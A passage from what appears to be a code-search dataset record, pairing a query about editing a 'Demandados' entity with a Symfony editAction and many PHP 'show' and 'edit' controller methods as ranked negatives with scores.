$dce Tx_Dce_Domain_Model_Dce */\n\t\t$dce = $this->dceRepository->findAndBuildOneByUid(\n\t\t\t$this->dceRepository->extractUidFromCType($config['pluginName']),\n\t\t\t$this->settings,\n\t\t\t$contentObject\n\t\t);\n\n\t\tif ($dce->getEnableDetailpage() && intval($contentObject['uid']) === intval(t3lib_div::_GP($dce->getDetailpageIdentifier()))) {\n\t\t\treturn $dce->renderDetailpage();\n\t\t} else {\n\t\t\treturn $dce->render();\n\t\t}\n\t}", "public function show(Efectivo $efectivo)\n {\n //\n }", "public function show($id)\n {\n $modelo = DCampaniaCuponDescuento::find($id);\n\n return view('administracion.cupon_descuento.show',[\n \"modelo\" => $modelo\n ]);\n }", "public function showAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CorresponsaliaBundle:Tecnologia\\Equipo')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Tecnologia\\Equipo entity.');\n }\n \n $flag = FALSE;\n $asignacion = $em->getRepository('CorresponsaliaBundle:Tecnologia\\Asignacion')->find($id);\n \n if ($asignacion) {\n $flag = TRUE;\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CorresponsaliaBundle:Tecnologia/Equipo:show.html.twig', array(\n 'entity' => $entity,\n 'asignacion' => $flag,\n 'delete_form' => $deleteForm->createView(), ));\n }", "public function show(Representante $representante)\n {\n //\n }", "public function show(Recomendacao $recomendacao)\n {\n //\n }", "public function executeShowByDeces(sfWebRequest $request)\n {\n $q = Doctrine_Core::getTable('Mention_marginaleDeces')\n ->createQuery('a')\n ->where(\"deces_id=?\", $request->getParameter('deces_id'))\n ->orderBy('a.id DESC');\n\n // Le nombre de résultats par page a afficher :\n $nbResults = sfConfig::get('app_posts_number_per_page', 10);\n\n // Le numéro de la page a afficher :\n $numPage = $request->getParameter('page', 1);\n\n $this->pager = new sfDoctrinePager('Mention_marginaleDeces', $nbResults);\n\n // /!\\ Le pager prends en paramètre une requête doctrine.\n $this->pager->setQuery($q);\n $this->pager->setPage($numPage);\n $this->pager->init();\n\n $this->setTemplate(\"index\");\n }", "public function show(Plantacion $plantacion)\n {\n //\n }", "public function showAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n //recupérer le repo\n $repository = $em->getRepository('InsatGl2Bundle:Personne');\n\n $personnes = $repository->findAll();\n\n\n return $this->render('@InsatGl2\\Personne\\show.html.twig',\n array(\n 'personnes'=> $personnes\n ));\n }", "public function showAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('InfotapAdminBundle:Feeds')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feeds entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('InfotapAdminBundle:Feeds:show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show(Department $department)\n {\n \n }", "public function show(ExpenceManagement $expenceManagement) {\n\t\t//\n\t}", "public function showAction($id)\n {\n $manager = $this->container->get('app_manager_listkdo');\n\n $entity = $manager->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find ListKdo entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render(\n 'AppBundle:ListKdo:show.html.twig',\n array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(),\n )\n );\n }", "public function show(Department $department)\n {\n }", "public function show(Comprobante $comprobante)\n {\n //\n }", "public function show($id)\n\t{\n $consult = Consult::find($id);\n\n return View::make('consult.show')\n ->with('consult', $consult);\n }", "public function show(Deneme $deneme)\n {\n //\n }", "public function show(Estadios $estadios)\n {\n //\n }", "public function detalheAction()\n {\n $id = $this->getRequest()->getParam('id');\n\n $edicao = new Application_Model_Publicacao();\n $edicao->setId($id);\n \n $this->view->revista = $edicao;\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $deces = $em->getRepository('MairieMairieBundle:Deces')->findAll();\n\n return $this->render('deces/index.html.twig', array(\n 'deces' => $deces,\n ));\n }", "public function showAction($id)\n {\n //denegamos el acceso a eliminar a los investigadores\n if ($this->get('security.context')->isGranted('ROLE_ADMIN')){\n $admin=true;}\n else{\n $admin=false;\n }\n \n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('proyectobackendBundle:Estudio')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Estudio entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n $partes = $entity->getPartesEstudio();\n $arraypartes = array();\n \n foreach($partes as $parte){\n array_push($arraypartes, $parte->getNombre());\n }\n \n return $this->render('proyectobackendBundle:Estudio:show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(),\n 'partes' => $arraypartes,\n 'admin'=> $admin,\n ));\n }", "public function showAction(DatParteDesvio $datParteDesvio)\n {\n $deleteForm = $this->createDeleteForm($datParteDesvio);\n return $this->render('ParteDiarioBundle:datpartedesvio:show.html.twig', array(\n 'datParteDesvio' => $datParteDesvio,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function showAction($id)\n {\n $em = $this->getDoctrine()->getEntityManager();\n\n $entity = $em->getRepository('IamSoftAndrethaBundle:CarpetaEmprendimiento')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find CarpetaEmprendimiento entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('IamSoftAndrethaBundle:CarpetaEmprendimiento:show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(),\n\n ));\n }", "public function showAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('GestionFraisBundle:Visiteur')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Visiteur entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('GestionFraisBundle:Visiteur:show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show($id)\n {\n //nonConsult() est une methode helper qui retourne l'ensemble des comandes non consultees\n //$demandes est utilisee a la page d'accueil apres l'authentification\n //donc necessaires pour toutes les fonction qui utilse cette page\n\n $demandes = nonConsult();\n\n $validation = 1;\n\n $details = DB::table('commandes')\n //->join('commandes', 'cotations.id', '=', 'commandes.cotations_id')\n ->join('line_de_commandes', 'commandes.id', '=', 'line_de_commandes.commandes_id')\n ->join('articles', 'articles.id', '=', 'line_de_commandes.articles_id')\n ->where('line_de_commandes.commandes_id', '=', $id)\n ->select('articles.libelleArticle', 'commandes.codeCommande', 'line_de_commandes.*')\n ->get();\n $commande = Commande::findOrFail($id);\n\n return view('commandes.details', compact('demandes', 'details','validation','commande'));\n }", "public function show(Entrada $entrada)\n {\n //\n }", "public function show(Empleado $empleado)\n {\n //\n }", "public function show(Empleado $empleado)\n {\n //\n }", "public function show(Expense $expense)\n {\n //\n }", "public function show(Expense $expense)\n {\n //\n }", "public function show(Cria $cria)\n {\n //\n }", "public function show(Department $department)\n {\n //\n }", "public function show(Department $department)\n {\n //\n }", "public function show(Department $department)\n {\n //\n }", "public function show(Department $department)\n {\n //\n }", "public function showAction(Demande $demande)\n {\n $deleteForm = $this->createDeleteForm($demande);\n\n return $this->render('@Dons/demande/show.html.twig', array(\n 'demande' => $demande,\n 'delete_form' => $deleteForm->createView(),\n ));\n }" ]
[ "0.68112546", "0.647874", "0.647874", "0.6477454", "0.645613", "0.6447379", "0.64471793", "0.6405815", "0.6392087", "0.637007", "0.63584316", "0.6342256", "0.6321261", "0.6281623", "0.6267198", "0.6267198", "0.6267198", "0.6267198", "0.6267198", "0.62621546", "0.6259573", "0.62484235", "0.62467724", "0.6238206", "0.6215468", "0.61886847", "0.618612", "0.6178699", "0.61753726", "0.61721855", "0.61666006", "0.6148045", "0.61301523", "0.61230147", "0.6118326", "0.6093329", "0.6078248", "0.6077552", "0.60761875", "0.60547054", "0.60296786", "0.6011619", "0.60104406", "0.6005459", "0.6004763", "0.6004577", "0.6004577", "0.6004317", "0.60036695", "0.6002971", "0.5999876", "0.59988016", "0.5997796", "0.59866226", "0.59832466", "0.59745675", "0.5968127", "0.59679663", "0.59665024", "0.5962847", "0.59622765", "0.5959403", "0.59513307", "0.5928517", "0.5918777", "0.5916275", "0.5906129", "0.59029436", "0.59003055", "0.5899666", "0.5895947", "0.58933944", "0.5892556", "0.58901066", "0.58884096", "0.5886358", "0.58848125", "0.5882889", "0.5881541", "0.5872202", "0.58705896", "0.5869169", "0.58671415", "0.58651865", "0.58637077", "0.58613056", "0.5861195", "0.5858914", "0.58582836", "0.5857672", "0.58384836", "0.58384836", "0.5828555", "0.5828555", "0.5825866", "0.58257145", "0.58257145", "0.58257145", "0.58257145", "0.58195364" ]
0.7001616
0
Displays a form to edit an existing Demandados entity.
public function editAction(Request $request, Demandados $demandado) { $deleteForm = $this->createDeleteForm($demandado); $editForm = $this->createForm('BufeteBundle\Form\DemandadosType', $demandado); $editForm->handleRequest($request); if ($editForm->isSubmitted() && $editForm->isValid()) { $em = $this->getDoctrine()->getManager(); $em->persist($demandado); $em->flush(); return $this->redirectToRoute('demandados_edit', array('id' => $demandado->getIdDemandado())); } return $this->render('demandados/edit.html.twig', array( 'demandado' => $demandado, 'edit_form' => $editForm->createView(), 'delete_form' => $deleteForm->createView(), )); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(Medicamento $medicamento)\n {\n //\n }", "public function editAction($id)\n {\n \n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CorresponsaliaBundle:Estadofondo')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Estadofondo entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CorresponsaliaBundle:Estadofondo:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit(Mascota $mascota)\n {\n //\n }", "public function editDepoimento($id){\n $depoimento = Depoimento::find($id);\n\n return view('adm.depoimento.edit', compact('depoimento'));\n\n }", "public function editar ()\n {\n try {\n // Define a ação de editar\n $acao = Orcamento_Business_Dados::ACTION_EDITAR;\n \n if ( $this->_requisicao->isGet () ) {\n // Retorna parâmetros informados via get, após validações\n $parametros = $this->trataParametroGet ( 'cod' );\n \n // Busca os dados a exibir, após validações\n $registro = $this->trataRegistro ( $acao, $parametros );\n \n // Cria o formulário populado com os dados\n $formulario = $this->popularFormulario ( $acao, $registro );\n \n // Faz transformações no formulário, se necessário\n $formulario = $this->transformaFormulario ( $formulario, $acao );\n \n // Bloqueia a edição de campos de chave primária (ou composta)\n $this->bloqueiaCamposChave ( $formulario );\n \n // Bloqueia todos os campos\n $this->bloqueiaCamposTodos ( $acao, $formulario, $registro );\n \n // Exibe o formulário\n $this->view->formulario = $formulario;\n } else {\n // Cria o formulário vazio\n $formulario = $this->retornaFormulario ( $acao );\n \n // Grava o novo registro\n $this->gravaDados ( $acao, $formulario );\n }\n } catch ( Exception $e ) {\n // Gera o erro\n throw new Zend_Exception ( $e->getMessage () );\n }\n }", "public function edit(MedioPlataforma $medioPlataforma)\n {\n //\n }", "public function edit(ConsultaDiaria $consultaDiaria)\n {\n //\n }", "public function editAction($id) {\n\n $user = $this->getUser();\n if (!$user) {\n return $this->render('AeagDieBundle:Default:interdit.html.twig');\n }\n $session = $this->get('session');\n $session->set('menu', 'Admin');\n $session->set('controller', 'Demande');\n $session->set('fonction', 'edit');\n $em = $this->get('doctrine')->getManager('die');\n\n $entity = $em->getRepository('AeagDieBundle:Demande')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Demande entity.');\n }\n\n $form = $this->createForm(new DemandeEditType(), $entity);\n $organisme = $em->getRepository('AeagDieBundle:Organisme')->getOrganismesByOrganisme($entity->getOrganisme());\n $departement = $em->getRepository('AeagDieBundle:Departement')->getDepartementByLibelle($entity->getDept());\n $theme = $em->getRepository('AeagDieBundle:Theme')->getThemesByTheme($entity->getTheme());\n\n return $this->render('AeagDieBundle:Demande:edit.html.twig', array(\n 'entity' => $entity,\n 'organisme' => $organisme,\n 'departement' => $departement,\n 'theme' => $theme,\n 'form' => $form->createView(),\n ));\n }", "public function edit(Pendaftaran $pendaftaran)\n {\n //\n }", "public function edit(Mercado $mercado)\n\t{\n\t\t\n\t}", "public function edit(Detalle $detalle)\n {\n //\n }", "public function edit(Produtos $produtos)\n {\n //\n }", "public function edit($id)\n {\n return view('consultas::edit');\n }", "public function edit(DuracionResultado $duracionResultado)\n {\n //\n }", "public function edit($id)\n {\n $consulta = Consulta::findOrFail($id);\n return view('admin.consultas.edit',[\n 'consulta'=>$consulta\n ]);\n }", "public function edit(Empresa $empresa)\n {\n \n }", "public function edit(Contratos $contratos)\n {\n //\n }", "public function edit(Medicament $medicament)\n {\n //\n }", "public function edit(Produto $produto)\n {\n //\n }", "public function edit($id)\n {\n $departamento = departamento::find($id);\n \n \n\n return view('editar/departamento', compact('departamento'));\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('EcomBundle:PromoCmdes')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find PromoCmdes entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('AdBundle:Administration:PromoCmdes/layout/edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit(Empresa $empresa)\n {\n //\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getEntityManager();\n\n $entity = $em->getRepository('IamSoftAndrethaBundle:CarpetaEmprendimiento')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find CarpetaEmprendimiento entity.');\n }\n\n $editForm = $this->createForm(new CarpetaEmprendimientoType(), $entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('IamSoftAndrethaBundle:CarpetaEmprendimiento:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit(Depense $depense)\n {\n //\n }", "public function edit(DatosActualizados $datosActualizados)\n {\n //\n }", "public function editarAction () {\n // Título da tela (action)\n $this->view->telaTitle = 'Editar Exercício Orçamentário';\n\n // Instancia a regra de negócio\n $negocio = new Orcamento_Business_Negocio_Exercicio();\n\n // Fase\n $fase = new Orcamento_Model_DbTable_FaseAnoExercicio();\n\n $formulario = new $this->_formulario ();\n $this->view->formulario = $formulario;\n\n // Verifica o tipo de requisição Get / Post\n if ($this->getRequest()->isGet()) {\n // Busca dados para o preenchimento do formulário\n $cod = $this->_getParam('cod');\n\n if ($cod) {\n // Busca registro específico\n $registro = $negocio->retornaRegistro($cod);\n\n if ($registro) {\n // TODO Remover a linha a seguir\n // $contrato = $this->_CeoTbAnoExercicio->retornaRegistro($cod);\n\n $camposChave = $negocio->chavePrimaria();\n\n foreach ($camposChave as $chave) {\n $formulario->$chave->setAttrib('readonly', true);\n }\n $formulario->populate($registro);\n } else {\n $this->registroNaoEncontrado();\n }\n\n $this->view->fase = $dadosfase = $fase->fetchRow(\"FANE_NR_ANO = $cod\");\n } else {\n $this->codigoNaoInformado();\n }\n } else {\n // Busca dados do formulário\n $dados = $this->getRequest()->getPost();\n $chavePrimaria = $this->_getParam('cod');\n\n if ($formulario->isValid($dados)) {\n\n $dados = $formulario->getValues();\n\n $resultado = $negocio->editarExercicioFase($dados);\n\n if ($dados['FANE_ID_FASE_EXERCICIO'] == Trf1_Orcamento_Definicoes::FASE_EXERCICIO_EM_EXECUCAO) {\n\n $negocio->copiaValores($dados);\n }\n\n if( !$resultado [ 'sucesso' ] ) {\n // inclui na tabela de log do orçamento\n $this->_logdados->incluirLog( $dados[\"ANOE_AA_ANO\"] );\n // Mensagem sucesso\n $this->_helper->flashMessenger ( array ( message => Orcamento_Business_Dados::MSG_ALTERAR_ERRO . '<br />' . $resultado [ 'msgErro' ] ) );\n }\n\n // Salvo com sucesso\n $this->_helper->flashMessenger(array(message => Orcamento_Business_Dados::MSG_SUCESSO_EXERCICIO, 'status' => 'success'));\n\n // Limpa o cache para listagem na index\n $negocio->excluiCaches();\n\n // Redireciona para o modulo\n $this->voltarIndexAction();\n } else {\n // Reapresenta os dados no formulário para correção do usuário\n $formulario->populate($dados);\n }\n }\n }", "public function edit(EstabelecimentoSaude $estabelecimentoSaude)\n {\n //\n }", "public function edit(Candidatos $candidatos)\n {\n //\n }", "public function edit($id)\n {\n $sede = Sede::find($id);\n return view('admin-general.sede.editSede', compact('sede'));\n }", "public function edit($id)\n {\n $destacado = Producto_destacado::find($id);\n \n\n return view('adm.php.editarDestacado')->with('destacado', $destacado);\n }", "public function edit(incidencia $incidencia)\n {\n //\n }", "public function edit()\n {\n return view('panel.materiales.edit');\n }", "public function edit($id)\n {\n $departement=Departement::find($id);\n return View('admin.departemen.edit')->with(compact('departement'));\n }", "public function editAction() {\n $model = new Application_Model_Compromisso();\n //busco no banco o quem eu quero editar\n $comp = $model->find($this->_getParam('id'));\n // renderiso uma view com os dados\n $this->view->assign(\"compromisso\", $comp);\n }", "public function edit(Consultorios $consultorios)\n {\n //\n }", "public function edit(Planodetrabalho $planodetrabalho)\n {\n //\n }", "public function edit($id)\n {\n $arrondissements = Arrondissement::findOrFail($id);\n $this->arrondissement_id = $id;\n $this->nom = $arrondissements->nom;\n $this->departements_id = $arrondissements->departements_id;\n \n $this->openModal();\n }", "public function editAction() {\n $id = $this->getInput('id');\n $info = Client_Service_Ad::getAd(intval($id));\n \n $this->assign('ad_type', self::AD_TYPE);\n $this->assign('ad_ptypes', $this->ad_ptypes);\n $this->assign('info', $info);\n }", "public function edit(estado $estado)\n {\n // return view('estados.edit', ['estado' => $estado]);\n }", "public function editAction() {\n\t\t$id = $this->getInput('id');\n\t\t$info = Gc_Service_OrderShow::getOrderShow(intval($id));\n\t\n\t\t//状态\n\t\t$this->assign('ordershow_status', $this->ordershow_status);\n\t\t\n\t\t//渠道\n\t\tlist(,$ordershow_channel) = Gc_Service_OrderChannel::getAllOrderChannel();\n\t\t$ordershow_channel = Common::resetKey($ordershow_channel, 'id');\n\t\t$this->assign('ordershow_channel', $ordershow_channel);\n\t\t\t\t\n\t\t$this->assign('info', $info);\n\t}", "public function edit($id)\n {\n $estado = Estado::find($id);\n return view('admin.estados.edit')->with('estado',$estado);\n }", "public function edit(EntradaSoda $entradaSoda)\r\r\n {\r\r\n //\r\r\n }", "public function edit($id)\n {\n //\n $demand = Demand::find($id);\n return view('demand.edit', ['theme' => 'default','demand' => $demand]);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('EventFormBundle:PeriodoDeInscricao')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find PeriodoDeInscricao entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('EventFormBundle:PeriodoDeInscricao:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('SiseCoreBundle:PersonnelPersonnel')->find($id);\n $formpers = $this->container->get('form.factory')->createBuilder(new NomenclatureSoussituationadministrativeType())->getForm();\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find PersonnelPersonnel entity.');\n }\n $editForm = $this->createEditForm($entity);\n // $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('SiseCoreBundle:PersonnelPersonnel:edit.html.twig', array(\n 'entity' => $entity,\n 'code' => $id,\n 'edit_form' => $editForm->createView(),\n // 'delete_form' => $deleteForm->createView(),\n 'formpers' => $formpers->createView(),\n ));\n }", "public function edit($id_cliente){}", "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('InfogoldAccountBundle:Dzialy')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Dzialy entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('InfogoldAccountBundle:Dzialy:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function editAction()\r\n {\r\n \r\n $id= $this->container->get('security.context')->getToken()->getUser()->getId();\r\n $em = $this->getDoctrine()->getManager();\r\n $entity = $em->getRepository('UtilisateurBundle:Utilisateur')->find($id);\r\n \r\n if (!$entity) {\r\n throw $this->createNotFoundException('Unable to find Utilisateur entity.');\r\n }\r\n\r\n $editForm = $this->createEditForm($entity);\r\n $deleteForm = $this->createDeleteForm($id);\r\n\r\n return $this->render('UtilisateurBundle:Default:info.html.twig', array(\r\n 'entity' => $entity,\r\n 'edit_form' => $editForm->createView(),\r\n 'delete_form' => $deleteForm->createView(),\r\n ));\r\n }", "public function edit()\n {\n return view('panel.order-management.payment.form-edit');\n }", "public function edit(SalleDemandeSalle $salleDemandeSalle)\n {\n //\n }", "public function edit($id_empresa)\n {\n $empresa=empresa::find($id_empresa);\n return view ('admin.empresa.edit', compact ('empresa'));\n }", "public function edit(Estadios $estadios)\n {\n //\n }", "public function edit(Postulado $postulado)\n {\n //\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n $sede = Sede::find($id);\n return view('admin.sedes.edit')->with('sede', $sede);\n }", "public function edit($id)\n {\n $relatorioFinanceiro=$this->objRelatorioFinanceiro->find($id);\n $despesaFinanceira=$this->objDespesaFinanceira->all();\n $administradora=$this->objAdministradora->all();\n return view('relatoriofinanceiro.create', compact('relatorioFinanceiro',\n 'despesaFinanceira', 'administradora'));\n\n }", "public function edit($id)\n {\n return view('cadastro::edit');\n }", "public function edit(Procedencia $procedencia)\n {\n //\n }", "public function edit($id)\n\t{\n\t\t// get the Turma\n\t\t$turmas = Turma::find($id);\n\n\t\t$modulos_list = Modulo::all()->lists('id', 'id');\n$professores_list = Professor::all()->lists('id', 'id');\n\n\t\t// show the edit form and pass the Turma\n\t\t$this->layout->content = View::make('Turma.edit')\n->with('turmas', $turmas)->with('modulos_list', $modulos_list)\n->with('professores_list', $professores_list);\n\t}", "public function edit(Produto $produto)\n {\n return view('produto.form',[\n 'produto' => $produto,\n 'fabricantes' => Fabricante::pluck('nome', 'id') \n ]);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('EncuestaBundle:Encuesta')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Encuesta entity.');\n }\n\n\n\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('EncuestaBundle:Encuesta:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit(DemandeHebergement $demandeHebergement)\n {\n //\n }", "public function edit($id)\n {\n //\n $estudante = Estudante::findOrFail($id);\n return view('edit-estud', compact('estudante'));\n }", "public function edit( $id ) {\n // return \"Mostrar aqui formulario para formapago con id $id\";\n $formaPagos = FormaPago::find( $id );\n return view('admin.formapago.edit')->with(compact('formaPagos')); //formulario de registro\n }", "public function edit($id)\n\t{\n\t\t$produto = Produto::findOrFail($id);\n\t\t$fornecedores = Fornecedor::select('id', 'nome')\n\t\t\t->where('active', 1)\n\t\t\t->get();\n\n\t\treturn view('produto.create')->with(['produto' => $produto, 'fornecedores' => $fornecedores]);\n\t}", "public function edit($id)\n\t{\n return View::make('depts.edit');\n\t}", "public function edit(Novedades $novedades)\n {\n //\n }", "public function edit(Formulario $formulario)\n {\n $listDistritos=distrito::pluck('id','nombre');\n\n return view('dashboard.formularios.edit',[\"formulario\"=>$formulario,'listDistritos'=>$listDistritos]);\n }", "public function edit(Chamado $chamado)\n {\n //\n }", "public function edit(Normativa $normativa)\n {\n //\n }", "public function edit(medicamento $medicamento)\n {\n return view('medicamento.edit')->with([\n 'medicamento'=>$medicamento]);\n }", "public function edit(Empleado $empleado)\r\n {\r\n return view('catalogos.empleado.edit',compact('empleado'));\r\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('QQiRecordappBundle:Pensum')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Pensum entity.');\n }\n\n $editForm = $this->createForm(new PensumType(), $entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('QQiRecordappBundle:Pensum:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit(Departamento $departamento)\n {\n $salas = sala::all();\n $funcionarios = Funcionario::all();\n return view('departamento_editar', compact('funcionarios', 'salas','departamento'));\n\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CorresponsaliaBundle:Tecnologia\\Equipo')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Tecnologia\\Equipo entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n \n $flag = FALSE;\n $asignacion = $em->getRepository('CorresponsaliaBundle:Tecnologia\\Asignacion')->find($id);\n \n if ($asignacion) {\n $flag = TRUE;\n }\n\n return $this->render('CorresponsaliaBundle:Tecnologia/Equipo:edit.html.twig', array(\n 'entity' => $entity,\n 'asignacion' => $flag,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n\n $detalle = Detalle::findOrFail($id);\n $servicio = Servicio::_getServicios()->get();\n //$detalle = Detalle::_getDetalle($id)->get()->first();\n\n return view('admin.detalle.edit', compact('detalle','servicio'));\n }", "public function edit(Recomendacao $recomendacao)\n {\n //\n }", "public function edit($id)\n {\n $cuestionario = Cuestionario::find($id);\n return view('admin.cuestionarios.edit',compact('cuestionario'));//muestra el formulario \n }", "public function edit($id)\n {\n //distribuidores\n $distribuidor = array('No Exclusivo', 'Exclusivo','Exterior');\n $descarga = Descarga::find($id);\n return view('adm.privada.descarga.edit',compact('descarga','distribuidor'));\n }", "public function edit(Comida $comida)\n {\n //\n }", "public function edit()\n {\n return view('admincp::edit');\n }", "public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }", "public function edit(Feriado $feriado)\n {\n //\n }", "public function edit($id)\n {\n $dados = Produto::find($id);\n return view(\"produto.edit\", [\"dados\" => $dados]);\n }", "public function edit()\n { \n return view('admin.control.edit');\n }", "public function edit(Entrada $entrada)\n {\n //\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('GestionFraisBundle:Visiteur')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Visiteur entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('GestionFraisBundle:Visiteur:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n $comentario = Comentario::find($id);\n return view('comentario.edit')->with('comentario', $comentario);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('EnterpriseBundle:Customer')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el cliente solicitado');\n }\n\n $editForm = $this->createForm(new CustomerType(), $entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('EnterpriseBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit(Form $form)\n {\n //\n }", "public function editAction($id)\n {\n\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('sisconeeAppBundle:Servicio')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Servicio entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('sisconeeAdministracionBundle:Servicio:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n 